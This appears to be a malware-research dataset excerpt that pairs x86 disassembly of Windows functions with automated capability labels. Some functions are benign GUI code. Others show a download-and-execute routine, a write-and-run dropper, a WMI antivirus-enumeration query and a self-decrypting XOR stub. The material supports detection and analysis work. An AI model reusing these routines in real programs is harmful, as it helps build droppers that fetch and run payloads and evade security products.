joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4718e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x28
push ebp
push esi
mov esi, ecx
xor ebp, ebp
push edi
cmp dword [esi + 0x78], ebp
je 0x471a9d
push ebx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], 1
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ebp
mov eax, dword [esi + 0x90]
cmp eax, ebp
je 0x471a16
mov ecx, dword [esi + 0x94]
sub ecx, eax
mov eax, dword [esp + 0x14]
sar ecx, 4
cmp eax, ecx
jae 0x471a16
xor ebx, ebx
mov edx, dword [esi + 0x90]
mov eax, dword [esp + 0x10]
add eax, edx
mov ecx, dword [eax + 4]
cmp ecx, ebp
je 0x4719fd
mov edx, dword [eax + 8]
sub edx, ecx
sar edx, 2
cmp ebx, edx
jae 0x4719fd
mov eax, ecx
mov ecx, esi
mov edi, dword [eax + ebx*4]
push edi
call fcn.00472b50
mov ebp, eax
test ebp, ebp
je 0x4719f5
push ebp
mov ecx, esi
call fcn.00473f40
test eax, eax
je 0x4719f5
mov edx, dword [esi + 0x74]
cmp edi, edx
je 0x4719f5
mov eax, dword [esp + 0x10]
xor ecx, ecx
test ebx, ebx
sete cl
mov dword [esp + 0x24], ecx
mov ecx, dword [esi + 0x90]
add eax, ecx
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x4719b6
xor eax, eax
jmp 0x4719be
mov eax, dword [eax + 8]
sub eax, ecx
sar eax, 2
dec eax
xor ecx, ecx
cmp ebx, eax
lea eax, [edi + 1]
sete cl
mov dword [esp + 0x28], ecx
xor ecx, ecx
cmp eax, edx
sete cl
dec edi
mov dword [esp + 0x30], ecx
xor eax, eax
cmp edi, edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x18]
sete al
push ecx
push edx
mov ecx, ebp
mov dword [esp + 0x3c], eax
call fcn.004748e0
inc ebx
xor ebp, ebp
jmp 0x471947
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
inc ecx
add eax, 0x10
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
jmp 0x471920
mov eax, dword [esi + 0x74]
mov ecx, esi
push eax
call fcn.00472e60
test eax, eax
pop ebx
je 0x471a9d
mov ecx, dword [esi + 0x74]
push ecx
mov ecx, esi
call fcn.00472b50
mov edi, eax
cmp edi, ebp
je 0x471a9d
push edi
mov ecx, esi
call fcn.00473f40
test eax, eax
je 0x471a9d
mov eax, 1
lea edx, [esi + 0x1f8]
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x74]
mov ecx, esi
push eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x20], edx
call fcn.004730a0
mov ecx, dword [esi + 0x74]
mov dword [esp + 0x20], eax
push ecx
mov ecx, esi
call fcn.00473110
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push eax
call fcn.004748e0
pop edi
pop esi
pop ebp
add esp, 0x28
ret 4
Function at 0x47a610
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a2991
push eax
mov dword fs:[0], esp
sub esp, 0xec
push edi
mov edi, ecx
mov eax, dword [edi + 0x5c]
test eax, eax
jne 0x47a64d
xor eax, eax
pop edi
mov ecx, dword [esp + 0xec]
mov dword fs:[0], ecx
add esp, 0xf8
ret
push esi
push 0x400
lea ecx, [esp + 0xc]
call fcn.0049a054
push 0
push 0x1000
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x40]
mov dword [esp + 0x10c], 0
call fcn.0049939c
lea ecx, [esp + 0x30]
mov byte [esp + 0xfc], 1
push ecx
mov ecx, dword [edi + 0x5c]
call fcn.004733d0
lea ecx, [esp + 8]
call fcn.0049a2c3
lea ecx, [esp + 0x30]
call fcn.00499500
mov edx, dword [esp + 8]
push 0
push 0
lea ecx, [esp + 0x10]
call dword [edx + 0x28]
push 0
push 0x1000
lea eax, [esp + 0x10]
push 1
push eax
lea ecx, [esp + 0x84]
call fcn.0049939c
lea ecx, [esp + 0x74]
lea esi, [edi + 0x60]
push ecx
mov ecx, esi
mov byte [esp + 0x100], 2
call fcn.00473840
lea ecx, [esp + 0x74]
call fcn.00499500
lea ecx, [esp + 8]
call fcn.0049a2c4
mov eax, dword [edi + 0x5c]
lea edx, [esp + 0xb8]
push edx
push 0x3c
mov eax, dword [eax + 0xc8]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
lea ecx, [esp + 0xb8]
push ecx
mov ecx, esi
call fcn.00471060
mov edx, dword [edi + 0x5c]
push 0xffffffffffffffff
mov ecx, esi
mov eax, dword [edx + 0xdc]
mov dword [esi + 0xdc], eax
call fcn.00473370
mov ecx, esi
call fcn.00473e80
mov eax, dword [edi + 0x5c]
push 0xffffffffffffffff
mov ecx, esi
mov eax, dword [eax + 0xe0]
mov dword [esi + 0xe0], eax
call fcn.00473370
mov ecx, esi
call fcn.00473e80
mov ecx, dword [edi + 0x5c]
push 0xffffffffffffffff
mov eax, dword [ecx + 0xe4]
mov ecx, esi
mov dword [esi + 0xe4], eax
call fcn.00473370
mov ecx, esi
call fcn.00473e80
mov ecx, dword [edi + 0x5c]
call fcn.00470840
push eax
mov ecx, esi
call fcn.00470850
mov ecx, dword [edi + 0x5c]
call fcn.00470e00
push eax
mov ecx, esi
call fcn.00470da0
mov ecx, dword [edi + 0x5c]
call fcn.00470f20
push eax
mov ecx, esi
call fcn.00470ed0
mov ecx, dword [edi + 0x5c]
push 0
call fcn.00470120
push eax
mov ecx, esi
call fcn.00470130
mov edx, dword [edi + 0x7c]
push 1
push 0
push edx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x74]
mov byte [esp + 0xfc], 1
call fcn.00499478
lea ecx, [esp + 0x30]
mov byte [esp + 0xfc], 0
call fcn.00499478
lea ecx, [esp + 8]
mov dword [esp + 0xfc], 0xffffffff
call fcn.0049a0dd
mov ecx, dword [esp + 0xf4]
pop esi
mov eax, 1
pop edi
mov dword fs:[0], ecx
add esp, 0xf8
ret
Function at 0x47beb0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4a2bb7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x158
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], method.CMenu.virtual_0
mov dword [esi + 4], ebx
lea ecx, [esi + 0x1c]
mov dword [esp + 0x16c], ebx
call fcn.00490431
lea ecx, [esi + 0x24]
mov byte [esp + 0x16c], 1
call fcn.00490431
mov edi, dword [sym.imp.USER32.dll_GetSysColor]
push 7
mov byte [esp + 0x170], 2
mov dword [esi], method.CMenu.virtual_0
call edi
push 0xe
mov dword [esi + 0x2c], eax
call edi
push 0xf
mov dword [esi + 0x30], eax
call edi
push 4
mov dword [esi + 0x34], eax
call edi
push 0xd
mov dword [esi + 0x38], eax
call edi
push 0x14
mov dword [esi + 0x3c], eax
call edi
push 0x10
mov dword [esi + 0x40], eax
call edi
push 0x11
mov dword [esi + 0x44], eax
call edi
push 0xf
mov dword [esi + 0x48], eax
call edi
push 0x14
mov dword [esi + 0x4c], eax
call edi
push 0x10
mov dword [esi + 0x50], eax
call edi
mov dword [esi + 0x54], eax
mov eax, 0x14
mov ecx, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], ecx
mov ecx, 0x55
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push ebx
push eax
push ebx
push 0x29
mov dword [esi + 0x58], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
mov dword [esi + 0x64], ebx
mov dword [esi + 0xc], ebx
mov dword [esp + 0x20], 0x154
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
lea ecx, [esp + 0xb0]
push ecx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov ecx, esi
mov dword [esi + 0x10], eax
mov dword [esi + 8], ebx
call fcn.0047c9d0
mov eax, esi
mov ecx, dword [esp + 0x164]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x164
ret
Function at 0x47ca20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a2c90
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.0049c106
mov edi, dword [eax + 0xc]
xor ebp, ebp
cmp edi, ebp
jne 0x47ca53
xor al, al
jmp 0x47cb7f
mov ebx, dword [esp + 0x28]
push 0xf1
and ebx, 0xffff
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebp
jne 0x47ca75
xor al, al
jmp 0x47cb7f
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebp
jne 0x47ca88
xor al, al
jmp 0x47cb7f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebp
jne 0x47ca9c
xor al, al
jmp 0x47cb7f
xor eax, eax
xor ecx, ecx
mov ax, word [edi + 2]
push ebp
mov dword [esi + 0x14], eax
xor eax, eax
mov ax, word [edi + 4]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov cx, word [edi + 6]
push ecx
push 5
push eax
push edx
lea ecx, [esi + 0x1c]
call fcn.004904f6
test eax, eax
jne 0x47cad0
xor al, al
jmp 0x47cb7f
mov eax, dword [esi + 0x34]
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetBkColor]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0x52a144
mov dword [esp + 0x20], ebp
call fcn.0049c106
mov eax, dword [eax + 0xc]
push ebx
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0x14]
call fcn.00499051
mov edx, dword [esp + 0x14]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x10]
push 0xc0c0c0
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
lea ecx, [esp + 0x10]
call fcn.004990a8
xor ecx, ecx
lea ebx, [edi + 8]
cmp word [edi + 6], cx
jbe 0x47cb64
mov ax, word [ebx]
test ax, ax
je 0x47cb56
mov edx, ecx
inc ecx
mov dword [esp + 0x28], ecx
push eax
push edx
mov ecx, esi
call fcn.0047cba0
mov ecx, dword [esp + 0x28]
xor edx, edx
inc ebp
mov dx, word [edi + 6]
add ebx, 2
cmp ebp, edx
jl 0x47cb3a
mov dword [esp + 0x10], method.CGdiObject.virtual_0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call fcn.004990a8
mov al, 1
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x47d0e0
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x50
push esi
mov esi, dword [esp + 0x58]
push edi
push eax
mov ecx, esi
call fcn.0049a701
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x47d126
lea ecx, [esp + 8]
push 0x50
push ecx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [esp + 8]
push edx
call fcn.00480e28
mov ecx, dword [esp + 0x68]
add esp, 4
pop edi
mov dword [ecx], eax
pop esi
add esp, 0x50
ret 0xc
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
mov eax, dword [edx]
push eax
push 0x543ffc
push ecx
call fcn.004827cd
add esp, 0xc
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
add esp, 0x50
ret 0xc
Function at 0x47d9f0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x47da39
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x47deb0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a2f00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0047da60
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0047dae0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0047dae0
lea ecx, [esi + 0xc]
call fcn.004921bc
lea ecx, [esi + 0x10]
call fcn.004921bc
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0047f070
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0047f070
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0047f070
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00492231
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00492231
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x47f260
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x47f2c6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x47f2c6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x47f2a7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x494611
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x494649
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0049268c
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00492664
jmp 0x494655
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x495e0f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x495e51
call fcn.0049c106
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x495e51
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x495e48
xor eax, eax
jmp 0x495e59
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00495e5f
pop edi
pop esi
pop ebx
ret 4

Function at 0x49c636
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49c664
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49c682
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049c59c
jmp 0x49c682
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49c682
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049c59c
test edi, edi
mov eax, edi
jne 0x49c66c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x11590
Capabilities:
Create directory
Create process on windows
Create process suspended
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
mov eax, dword [0x63170]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0x2000
push 0x40
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xbc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [0x65930]
mov esi, eax
push esi
mov dword [ebp - 0xb4], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x6063c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push edi
mov edi, dword [ebp - 0xb4]
push edi
call esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x6063c
push edi
call esi
push ebx
push edi
call esi
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 0xb0]
call fcn.0001abf0
add esp, 0xc
mov ebx, eax
push dword [ebp - 0xb8]
push ebx
call fcn.0001ae50
lea eax, [ebp - 0x54]
push eax
call fcn.000196c0
mov esi, dword [ebp - 0xbc]
lea eax, [ebp - 0x54]
add esp, 0xc
push eax
push 0
push esi
push ebx
call fcn.00018240
mov edi, dword [ebp - 0x3c]
add esp, 0x10
lea eax, [edi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 9
push esi
push ebx
mov dword [ebp - 0xb0], eax
call fcn.000197b0
add esp, 0xc
mov esi, eax
push 0
push edi
push dword [ebp - 0xb0]
push esi
call fcn.00019720
push esi
call fcn.000195d0
add esp, 0x14
push ebx
call fcn.00018d60
add esp, 4
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
push dword [ebp - 0xb4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp - 0xb0]
mov esi, eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call esi
push 0x40
lea eax, [ebp - 0x98]
mov dword [ebp - 0x9c], 0x44
push 0
push eax
call fcn.0002f670
mov ebx, dword [ebp - 0xb4]
lea eax, [ebp - 0xac]
add esp, 0xc
push eax
lea eax, [ebp - 0x9c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0xac]
call edi
push dword [ebp - 0xa8]
call edi
push ebx
call esi
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0002d829
mov esp, ebp
pop ebp
ret
Function at 0x11750
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x63170]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x59e2c
push 1
push 0
push 0x59e3c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0x60640
mov dword [ebp - 0xc], 0
call edi
mov ecx, dword [ebp - 0x14]
lea esi, [ebp - 0xc]
push esi
push 0
push 0
mov edx, dword [ecx]
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [edx + 0xc]
test eax, eax
js 0x118b0
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0xc]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push 0x6066c
call edi
push str.SELECT__FROM_AntiVirusProduct
mov esi, eax
call edi
mov ecx, dword [ebp - 0xc]
lea edi, [ebp - 0x10]
push edi
push 0
push 0x20
push eax
mov dword [ebp - 0x10], 0
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x50]
test eax, eax
js 0x1189e
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0
test ecx, ecx
je 0x1189e
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, 0x65940
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ecx]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x18]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 8], 0
je 0x1189e
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push str.displayName
push eax
call dword [ecx + 0x10]
push 0x1000
push 0
push esi
call fcn.0002f670
add esp, 0xc
push dword [ebp - 0x20]
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call ebx
mov ecx, dword [ebp - 0x10]
add esi, 0x1000
test ecx, ecx
jne 0x11845
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0002d829
mov esp, ebp
pop ebp
ret
Function at 0x14970
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0002de70
mov eax, dword [0x63170]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x2008]
push eax
push 0
push 0
push 0x552d0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push 0x2000
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.0002f670
add esp, 0xc
lea eax, [ebp - 0x2004]
push dword [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.xterm.exe
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov esi, dword [0x69d58]
push 0
add esi, 0x3ec
push 0
push esi
mov dword [ebp - 0x200c], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push esi
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi*2 + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov esi, dword [ebp - 0x200c]
push eax
push esi
mov dword [ebp - 0x2010], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0
push 0xfde9
call edi
mov edi, dword [ebp - 0x2010]
lea eax, [ebp - 0x2004]
push 0
push 0
push eax
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x14abe
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x40]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x2004]
push eax
push str._k___s_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [0x69d48], 1
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0002d829
mov esp, ebp
pop ebp
ret
Function at 0x1ca40
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
push edi
xor edi, edi
bts edi, eax
cmp eax, 0x20
cmovae edx, edi
xor edi, edx
cmp eax, 0x40
mov eax, dword [esp + 0xc]
cmovae edx, edi
test eax, eax
js 0x1ca8c
push ebx
push esi
lea ebx, [esp + 0x14]
xor ecx, ecx
lea ebx, [ebx + 4]
bts ecx, eax
xor esi, esi
cmp eax, 0x20
cmovae esi, ecx
xor ecx, esi
cmp eax, 0x40
mov eax, dword [ebx]
cmovae esi, ecx
or edi, ecx
or edx, esi
test eax, eax
jns 0x1ca68
pop esi
pop ebx
mov eax, edi
pop edi
ret
Function at 0x21530
Capabilities:
Hash data using djb2

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov ecx, 0x1505
test edi, edi
jne 0x21546
pop edi
xor eax, eax
pop esi
ret
push ebx
mov bl, byte [edi]
test bl, bl
je 0x21570
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
mov edx, esi
shld esi, ecx, 5
shl ecx, 5
add ecx, eax
movzx eax, bl
mov bl, byte [edi]
adc esi, edx
cdq
add ecx, eax
adc esi, edx
test bl, bl
jne 0x21550
pop ebx
pop edi
mov eax, ecx
pop esi
ret

Function at 0x24a70
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x24]
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
push esi
mov esi, dword [esp + 0x18]
test ebp, ebp
jb 0x24bbb
push ebx
mov ebx, dword [esp + 0x28]
ja 0x24a9d
test ebx, ebx
je 0x24bba
mov edx, dword [esp + 0x20]
push edi
test edx, edx
je 0x24b48
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
movzx eax, word [esi + 8]
or eax, 2
mov ecx, eax
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x28]
push 1
shr ecx, 8
xor cl, byte [edi + eax]
lea eax, [esp + 0x14]
push eax
mov byte [edi + edx], cl
mov eax, dword [esi]
not eax
mov byte [esp + 0x18], cl
push eax
call fcn.00026760
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00026760
mov edx, dword [esp + 0x3c]
not eax
add esp, 0x18
mov dword [esi + 8], eax
mov eax, dword [esp + 0x2c]
add edi, 1
adc eax, 0
mov dword [esp + 0x2c], eax
cmp eax, ebp
jb 0x24ab6
ja 0x24bb9
cmp edi, ebx
jb 0x24ab6
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
movlpd qword [esp + 0x14], xmm0
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x28]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00026760
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00026760
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebp, 0
cmp ebp, dword [esp + 0x30]
jb 0x24b56
ja 0x24bb9
cmp edi, ebx
jb 0x24b56
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret